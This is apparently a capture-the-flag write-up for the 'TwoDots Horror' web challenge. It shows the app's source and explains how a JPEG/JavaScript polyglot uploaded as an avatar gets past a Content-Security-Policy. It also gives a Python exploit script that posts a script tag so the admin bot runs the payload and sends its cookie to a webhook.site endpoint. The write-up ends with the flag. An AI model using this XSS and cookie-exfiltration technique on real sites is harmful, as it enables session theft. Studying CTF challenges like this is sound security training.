Tags

TwoDots Horror

Description

Everything starts from a dot and builds up to two. Uniting them is like a kiss in the dark from a stranger. Made up horrors to help you cope with the real ones, join us to take a bite at the two-sentence horror stories on our very own TwoDots Horror™ blog.

Challenge source code

routes/index.js

[SNIP]]
        
        router.get('/review', async (req, res, next) => {
            if(req.ip != '127.0.0.1') return res.redirect('/');
        
            return db.getPosts(0)
                .then(feed => {
                    res.render('review.html', { feed });
                })
                .catch(() => res.status(500).send(response('Something went wrong!')));
        });
        
        router.post('/api/submit', AuthMiddleware, async (req, res) => {
            return db.getUser(req.data.username)
                .then(user => {
                    if (user === undefined) return res.redirect('/'); 
                    const { content } = req.body;
                    if(content){
                        twoDots = content.match(/\./g);
                        if(twoDots == null || twoDots.length != 2){
                            return res.status(403).send(response('Your story must contain two sentences! We call it TwoDots Horror!'));
                        }
                        return db.addPost(user.username, content)
                            .then(() => {
                                bot.purgeData(db);
                                res.send(response('Your submission is awaiting approval by Admin!'));
                            });
                    }
                    return res.status(403).send(response('Please write your story first!'));
                })
                .catch(() => res.status(500).send(response('Something went wrong!')));
        });
        
        router.post('/api/upload', AuthMiddleware, async (req, res) => {
            return db.getUser(req.data.username)
                .then(user => {
                    if (user === undefined) return res.redirect('/');
                    if (!req.files) return res.status(400).send(response('No files were uploaded.'));
                    return UploadHelper.uploadImage(req.files.avatarFile)
                        .then(filename => {
                            return db.updateAvatar(user.username,filename)
                                .then(()  => {
                                    res.send(response('Image uploaded successfully!'));
                                    if(user.avatar != 'default.jpg') 
                                        fs.unlinkSync(path.join(__dirname, '/../uploads',user.avatar)); // remove old avatar
                                })
                        })
                })
                .catch(err => res.status(500).send(response(err.message)));
        });
        
        [SNIP]
        

bot.js

const puppeteer = require('puppeteer');
        
        const browser_options = {
            headless: true,
            args: [
                '--no-sandbox',
                '--disable-background-networking',
                '--disable-default-apps',
                '--disable-extensions',
                '--disable-gpu',
                '--disable-sync',
                '--disable-translate',
                '--hide-scrollbars',
                '--metrics-recording-only',
                '--mute-audio',
                '--no-first-run',
                '--safebrowsing-disable-auto-update'
            ]
        };
        
        const cookies = [{
            'name': 'flag',
            'value': 'HTB{f4k3_fl4g_f0r_t3st1ng}'
        }];
        
        async function purgeData(db){
            const browser = await puppeteer.launch(browser_options);
            const page = await browser.newPage();
        
            await page.goto('http://127.0.0.1:1337/');
            await page.setCookie(...cookies);
        
            await page.goto('http://127.0.0.1:1337/review', {
                waitUntil: 'networkidle2'
            });
        
            await browser.close();
            await db.migrate();
        };
        
        module.exports = { purgeData };
        

Methodology

As a user, we can submit stories in the form of text. When we upload a valid story from POST /api/submit it will get reviewed by a bot using purgeData() method. The bot is a headless chromium browser, that visits every post we make, and then deletes db. The bot sets a cookie with a flag we need to obtain.

The obvious thing here is to use XSS to steal the cookie. But this is not so easy because the app has a CSP defense in-place.

app.use(function(req, res, next) {
            res.setHeader("Content-Security-Policy", "default-src 'self'; object-src 'none'; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com;")
            next();
        });
        

Using csp evaluator, we can see that we can use scripts from the same origin.

csp

There aren’t any exploitable js libraries on the website.

Upload

The website allows us to change our profile picture. By doing this we upload a jpeg picture to the server, which will be available on GET /api/avatar/<username>. We can use this to upload a polyglot file, which has a jpeg and a javascript code in the same file.

When we upload the file, we have to conform to the image criteria imposed by this method.

module.exports = {
            async uploadImage(file) {
                return new Promise(async (resolve, reject) => {
                    if(file == undefined) return reject(new Error("Please select a file to upload!"));
                    try{
                        if (!isJpg(file.data)) return reject(new Error("Please upload a valid JPEG image!"));
                        const dimensions = sizeOf(file.data);
                        if(!(dimensions.width >= 120 && dimensions.height >= 120)) {
                            return reject(new Error("Image size must be at least 120x120!"));
                        }
                        uploadPath = path.join(__dirname, '/../uploads', file.md5);
                        file.mv(uploadPath, (err) => {
                            if (err) return reject(err);
                        });
                        return resolve(file.md5);
                    }catch (e){
                        console.log(e);
                        reject(e);
                    }
                    
                });
            }
        }
        

The image has to be a valid jpeg and have at least 120x120 dimensions.

Crafting image

We can check the source code of the libraries that perform these checks and craft an image that will satisfy the restraints.

Whether the image is a jpeg is a matter of magic bytes (more here).

Functions for checking dimensions are here.

Now it’s just a matter of putting these things together and knowledge in this article, to craft an image which satisfies the constraints and at the same time is a valid javascript file that can be executed by a browser.

When we upload this picture, we can reference it as a <script> in our story. When the bot checks the story, the XSS will get triggered and we can steal the cookie.

I made a program for generating image-js polyglots.

Exploit

exploit.py

#!/usr/bin/python3
        
        import requests
        import random
        import os
        
        '''
        - upload polyglot as a profile pic (it has webhook inside) see hexeditor
        - create new post with: <script charset="ISO-8859-1" type="text/javascript" src="/api/avatar/<username>"></script>..
        - wait for callback
        '''
        
        s = requests.Session()
        
        # create random login creds
        username = random.randint(50000, 100000)
        password = random.randint(50000, 100000)
        
        remote = '188.166.173.208:30772'
        url_base = 'http://' + remote
        
        r = s.post(url_base + '/api/register', json={'username': str(username), 'password': str(password)})
        r = s.post(url_base + '/api/login', json={'username': str(username), 'password': str(password)})
        
        # fetch crafted polyglot image
        avatar_file = {'avatarFile': open('_polyglot.jpg','rb')}
        r = s.post(url_base + '/api/upload', files=avatar_file)
        r = s.post(url_base + '/api/submit', json={'content':'<script charset="ISO-8859-1" type="text/javascript" src="/api/avatar/' + str(username) + '"></script>..'})
        

Loot

webhook.site caught the request

steal

Flag

HTB{Unit3d_d0ts_0f_p0lygl0t}